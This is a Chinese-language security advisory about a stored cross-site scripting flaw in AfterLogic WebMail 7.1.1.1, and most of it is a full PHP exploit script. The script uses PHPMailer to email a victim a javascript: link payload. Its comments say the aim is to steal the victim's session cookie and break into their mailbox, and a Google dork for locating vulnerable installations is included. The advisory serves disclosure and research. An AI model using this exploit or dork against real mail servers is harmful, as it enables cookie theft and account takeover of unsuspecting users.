发布日期：2014-01-23
更新日期：2014-01-24

受影响系统：

AfterLogic WebMail Lite 7.1.1.1

描述：

---

AfterLogic WebMail Lite是一个快速易于使用的Webmail前台系统，支持POP3/IMAP账号，SMTP和SSL（包括Gmail）。

AfterLogic WebMail Lite and WebMail Pro 7.1.1.1及其他版本没有正确过滤邮件主题，这可使远程攻击者注入任意HTML和脚本代码，然后在用户浏览器会话中执行。

<*来源：Saeed reza Zamanian
  
  链接：http://secunia.com/advisories/56547/
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

<?php

/*  
# Exploit Title  : AfterLogic Pro and Lite <= 7.1.1.1 Stored XSS
# Google Dork    : intext:"AfterLogic" intext:"Login Information" inurl:index.php
# Date       : 19 Jan 2014
# Exploit Author : Saeed reza Zamanian  [s.zamanian [AT] imenantivirus.com]
# Vendor Homepage: http://www.afterlogic.com/
# Software Link  : http://www.afterlogic.com/download/webmail-pro
# Version    : <= 7.1.1.1
# Tested on  : KALI Linux 1.0.5 (Debian) Apache/2.2.22
# CVE        : vendor id = 6423

Greetz:  H.Zamanian, K.Kia, K.Khani

WebApp Desciption:
    AfterLogic WebMail is a browser-based e-mail and collaboration front end,
    designed to work with your existing messaging solutions. From an administrator’s
    perspective, the application is easy to install on your own server, easy to integrate and
    easy to maintain.


Vulnerability Description:
    XSS codes can be stored in E-Mail Body.
    So you can send an email to the Victim with below payload and steal the victim's cookie.

    <a href=javaScRipt:alert(document.cookie)>Click Me, Please...</a>\r\n

     NOTE: javascript html char encode = javaScRipt

    then you will be able to get into the victim's mailbox via the url:
    http://[WebSite]/[AfterLogic]/Default.aspx

## Phpmailer class is included in the exploit so you need to download it here and run the exploit in the phpmailer directory:
    http://code.google.com/a/apache-extras.org/p/phpmailer/downloads/list


*/

echo "<title>AfterLogic Pro and Lite <= 7.1.1.1 XSS Exploit</title>";
require_once('class.phpmailer.php');

$mail = new PHPMailer(true); // the true param means it will throw exceptions on errors, which we need to catch
$mail->IsSMTP(); // telling the class to use SMTP


/* SETTINGS */
$smtp_user = "username";    // Any valid smtp account
$smtp_pass = "password";    // Your PASSWORD
$smtp_port = "25";      // SMTP PORT Default: 25
$smtp_host = "localhost";   // Any valid smtp server
$from = "attacker@email.com";   // Any email
$victim = "victim@email.com";   // Victim email on afterlogic webmail.
$subject = "Salam";     // Subject

/* Body Text */
$body = '<a href=javaScRipt:alert(document.cookie)>Click Me, Please...</a>\r\n';



try {
  $mail->SMTPDebug  = 2;                  // enables SMTP debug information (for testing)
  $mail->SMTPAuth   = false;               // enable SMTP authentication
  $mail->Host       = $smtp_host;
  $mail->Port       = $smtp_port;
  $mail->Username   = $smtp_user;     // SMTP account username
  $mail->Password   = $smtp_pass;        // SMTP account password

  $mail->SetFrom($from, 'Attacker');
  $mail->AddReplyTo($from, 'Attacker');

  $mail->AddAddress($victim, 'Victim');
  $mail->Subject = $subject;

  $mail->MsgHTML($body);
  $mail->Send();
  echo "Message Sent OK</p>\n";
} catch (phpmailerException $e) {
  echo $e->errorMessage();
} catch (Exception $e) {
  echo $e->getMessage();
}
?>

</body>
</html>

建议：

---

厂商补丁：

AfterLogic
----------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://www.afterlogic.com/download/webmail-pro

浏览次数：4126
严重程度：0（网友投票）